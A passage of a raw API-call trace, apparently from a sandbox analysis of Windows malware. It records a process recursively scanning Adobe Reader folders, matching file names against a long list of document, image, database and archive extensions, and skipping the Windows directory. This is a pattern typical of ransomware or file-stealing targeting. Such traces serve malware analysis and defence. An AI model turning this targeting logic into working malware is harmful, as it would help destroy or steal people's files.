lstrlenW (lpString=".crt") returned 4 [0266.558] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.558] lstrlenW (lpString=".crw") returned 4 [0266.558] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.558] lstrlenW (lpString=".cs") returned 3 [0266.558] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.558] lstrlenW (lpString=".css") returned 4 [0266.558] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.558] lstrlenW (lpString=".csv") returned 4 [0266.558] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.558] lstrlenW (lpString=".cub") returned 4 [0266.558] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.558] lstrlenW (lpString=".dae") returned 4 [0266.559] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".dat") returned 4 [0266.559] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".db") returned 3 [0266.559] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.559] lstrlenW (lpString=".dbf") returned 4 [0266.559] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".dbx") returned 4 [0266.559] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".dc3") returned 4 [0266.559] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".dcm") returned 4 [0266.559] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".dcr") returned 4 [0266.559] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".der") returned 4 [0266.559] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".dib") returned 4 [0266.559] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.559] lstrlenW (lpString=".dic") returned 4 [0266.559] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.560] lstrlenW (lpString=".dif") returned 4 [0266.560] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.560] lstrlenW (lpString=".divx") returned 5 [0266.560] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.560] lstrlenW (lpString=".djvu") returned 5 [0266.560] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.560] lstrlenW (lpString=".dng") returned 4 [0266.560] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.560] lstrlenW (lpString=".doc") returned 4 [0266.560] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.560] lstrlenW (lpString=".docm") returned 5 [0266.560] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.560] lstrlenW (lpString=".docx") returned 5 [0266.560] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.560] lstrlenW (lpString=".dot") returned 4 [0266.560] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.560] lstrlenW (lpString=".dotm") returned 5 [0266.560] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.560] lstrlenW (lpString=".dotx") returned 5 [0266.560] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.561] lstrlenW (lpString=".dpx") returned 4 [0266.561] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.561] lstrlenW (lpString=".dqy") returned 4 [0266.561] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.561] lstrlenW (lpString=".dsn") returned 4 [0266.561] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.561] lstrlenW (lpString=".dt") returned 3 [0266.561] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.561] lstrlenW (lpString=".dtd") returned 4 [0266.561] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.561] lstrlenW (lpString=".dwg") returned 4 [0266.561] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.561] lstrlenW (lpString=".dwt") returned 4 [0266.561] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.561] lstrlenW (lpString=".dx") returned 3 [0266.561] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.561] lstrlenW (lpString=".dxf") returned 4 [0266.561] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.561] lstrlenW (lpString=".edml") returned 5 [0266.561] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.561] lstrlenW (lpString=".efd") returned 4 [0266.561] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".elf") returned 4 [0266.562] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".emf") returned 4 [0266.562] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".emz") returned 4 [0266.562] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".epf") returned 4 [0266.562] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".eps") returned 4 [0266.562] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".epsf") returned 5 [0266.562] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.562] lstrlenW (lpString=".epsp") returned 5 [0266.562] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.562] lstrlenW (lpString=".erf") returned 4 [0266.562] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".exr") returned 4 [0266.562] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".f4v") returned 4 [0266.562] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.562] lstrlenW (lpString=".fido") returned 5 [0266.562] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.563] lstrlenW (lpString=".flm") returned 4 [0266.563] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".flv") returned 4 [0266.563] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".frm") returned 4 [0266.563] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".fxg") returned 4 [0266.563] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".geo") returned 4 [0266.563] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".gif") returned 4 [0266.563] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".grs") returned 4 [0266.563] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".gz") returned 3 [0266.563] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.563] lstrlenW (lpString=".h") returned 2 [0266.563] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.563] lstrlenW (lpString=".hdr") returned 4 [0266.563] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".hpp") returned 4 [0266.563] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.563] lstrlenW (lpString=".hta") returned 4 [0266.564] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.564] lstrlenW (lpString=".htc") returned 4 [0266.564] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.564] lstrlenW (lpString=".htm") returned 4 [0266.564] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.564] lstrlenW (lpString=".html") returned 5 [0266.564] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.564] lstrlenW (lpString=".icb") returned 4 [0266.564] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.564] lstrlenW (lpString=".ics") returned 4 [0266.564] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.564] lstrlenW (lpString=".iff") returned 4 [0266.564] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.564] lstrlenW (lpString=".inc") returned 4 [0266.564] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.564] lstrlenW (lpString=".indd") returned 5 [0266.564] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.564] lstrlenW (lpString=".ini") returned 4 [0266.565] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.565] lstrlenW (lpString=".iqy") returned 4 [0266.565] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.565] lstrlenW (lpString=".j2c") returned 4 [0266.565] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.565] lstrlenW (lpString=".j2k") returned 4 [0266.565] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.565] lstrlenW (lpString=".java") returned 5 [0266.565] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.565] lstrlenW (lpString=".jp2") returned 4 [0266.565] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.565] lstrlenW (lpString=".jpc") returned 4 [0266.565] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.565] lstrlenW (lpString=".jpe") returned 4 [0266.565] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.565] lstrlenW (lpString=".jpeg") returned 5 [0266.566] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.566] lstrlenW (lpString=".jpf") returned 4 [0266.566] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.566] lstrlenW (lpString=".jpg") returned 4 [0266.566] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.566] lstrlenW (lpString=".jpx") returned 4 [0266.566] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.566] lstrlenW (lpString=".js") returned 3 [0266.566] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.566] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.566] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0266.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.566] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0266.567] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk") returned 106 [0266.567] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk") returned 1 [0266.567] lstrlenW (lpString="sk-sk") returned 5 [0266.567] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sk-sk") returned -1 [0266.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.567] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk") returned 106 [0266.567] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\sk-sk\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0266.568] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.568] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.569] lstrlenW (lpString="ui-strings.js") returned 13 [0266.569] lstrlenW (lpString=".1cd") returned 4 [0266.569] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.569] lstrlenW (lpString=".3ds") returned 4 [0266.569] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.569] lstrlenW (lpString=".3fr") returned 4 [0266.569] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.569] lstrlenW (lpString=".3g2") returned 4 [0266.569] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.569] lstrlenW (lpString=".3gp") returned 4 [0266.569] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.569] lstrlenW (lpString=".7z") returned 3 [0266.569] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.569] lstrlenW (lpString=".accda") returned 6 [0266.569] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.569] lstrlenW (lpString=".accdb") returned 6 [0266.569] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.569] lstrlenW (lpString=".accdc") returned 6 [0266.569] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.569] lstrlenW (lpString=".accde") returned 6 [0266.569] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.569] lstrlenW (lpString=".accdt") returned 6 [0266.569] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.570] lstrlenW (lpString=".accdw") returned 6 [0266.570] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.570] lstrlenW (lpString=".adb") returned 4 [0266.570] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".adp") returned 4 [0266.570] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".ai") returned 3 [0266.570] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.570] lstrlenW (lpString=".ai3") returned 4 [0266.570] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".ai4") returned 4 [0266.570] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".ai5") returned 4 [0266.570] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".ai6") returned 4 [0266.570] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".ai7") returned 4 [0266.570] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".ai8") returned 4 [0266.570] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.570] lstrlenW (lpString=".anim") returned 5 [0266.570] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.570] lstrlenW (lpString=".arw") returned 4 [0266.571] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".as") returned 3 [0266.571] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.571] lstrlenW (lpString=".asa") returned 4 [0266.571] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".asc") returned 4 [0266.571] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".ascx") returned 5 [0266.571] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.571] lstrlenW (lpString=".asm") returned 4 [0266.571] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".asmx") returned 5 [0266.571] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.571] lstrlenW (lpString=".asp") returned 4 [0266.571] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".aspx") returned 5 [0266.571] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.571] lstrlenW (lpString=".asr") returned 4 [0266.571] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".asx") returned 4 [0266.571] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".avi") returned 4 [0266.571] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.571] lstrlenW (lpString=".avs") returned 4 [0266.572] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".backup") returned 7 [0266.572] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.572] lstrlenW (lpString=".bak") returned 4 [0266.572] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".bay") returned 4 [0266.572] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".bd") returned 3 [0266.572] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.572] lstrlenW (lpString=".bin") returned 4 [0266.572] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".bmp") returned 4 [0266.572] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".bz2") returned 4 [0266.572] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".c") returned 2 [0266.572] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.572] lstrlenW (lpString=".cdr") returned 4 [0266.572] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".cer") returned 4 [0266.572] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.572] lstrlenW (lpString=".cf") returned 3 [0266.572] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.573] lstrlenW (lpString=".cfc") returned 4 [0266.573] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".cfm") returned 4 [0266.573] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".cfml") returned 5 [0266.573] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.573] lstrlenW (lpString=".cfu") returned 4 [0266.573] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".chm") returned 4 [0266.573] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".cin") returned 4 [0266.573] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".class") returned 6 [0266.573] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.573] lstrlenW (lpString=".clx") returned 4 [0266.573] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".config") returned 7 [0266.573] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.573] lstrlenW (lpString=".cpp") returned 4 [0266.573] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".cr2") returned 4 [0266.573] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.573] lstrlenW (lpString=".crt") returned 4 [0266.573] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.574] lstrlenW (lpString=".crw") returned 4 [0266.574] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.574] lstrlenW (lpString=".cs") returned 3 [0266.574] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.574] lstrlenW (lpString=".css") returned 4 [0266.574] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.574] lstrlenW (lpString=".csv") returned 4 [0266.574] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.574] lstrlenW (lpString=".cub") returned 4 [0266.574] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.574] lstrlenW (lpString=".dae") returned 4 [0266.574] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.574] lstrlenW (lpString=".dat") returned 4 [0266.574] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.574] lstrlenW (lpString=".db") returned 3 [0266.574] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.574] lstrlenW (lpString=".dbf") returned 4 [0266.574] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".dbx") returned 4 [0266.575] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".dc3") returned 4 [0266.575] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".dcm") returned 4 [0266.575] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".dcr") returned 4 [0266.575] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".der") returned 4 [0266.575] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".dib") returned 4 [0266.575] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".dic") returned 4 [0266.575] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".dif") returned 4 [0266.575] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".divx") returned 5 [0266.575] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.575] lstrlenW (lpString=".djvu") returned 5 [0266.575] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.575] lstrlenW (lpString=".dng") returned 4 [0266.575] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.575] lstrlenW (lpString=".doc") returned 4 [0266.575] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.576] lstrlenW (lpString=".docm") returned 5 [0266.576] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.576] lstrlenW (lpString=".docx") returned 5 [0266.576] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.576] lstrlenW (lpString=".dot") returned 4 [0266.576] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.576] lstrlenW (lpString=".dotm") returned 5 [0266.576] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.576] lstrlenW (lpString=".dotx") returned 5 [0266.576] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.576] lstrlenW (lpString=".dpx") returned 4 [0266.576] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.576] lstrlenW (lpString=".dqy") returned 4 [0266.576] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.576] lstrlenW (lpString=".dsn") returned 4 [0266.576] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.576] lstrlenW (lpString=".dt") returned 3 [0266.577] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.577] lstrlenW (lpString=".dtd") returned 4 [0266.577] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".dwg") returned 4 [0266.577] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".dwt") returned 4 [0266.577] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".dx") returned 3 [0266.577] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.577] lstrlenW (lpString=".dxf") returned 4 [0266.577] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".edml") returned 5 [0266.577] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.577] lstrlenW (lpString=".efd") returned 4 [0266.577] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".elf") returned 4 [0266.577] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".emf") returned 4 [0266.577] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".emz") returned 4 [0266.577] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".epf") returned 4 [0266.577] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.577] lstrlenW (lpString=".eps") returned 4 [0266.577] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.578] lstrlenW (lpString=".epsf") returned 5 [0266.578] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.578] lstrlenW (lpString=".epsp") returned 5 [0266.578] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.578] lstrlenW (lpString=".erf") returned 4 [0266.578] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.578] lstrlenW (lpString=".exr") returned 4 [0266.578] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.578] lstrlenW (lpString=".f4v") returned 4 [0266.578] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.578] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x206d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.578] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0266.579] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.579] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, 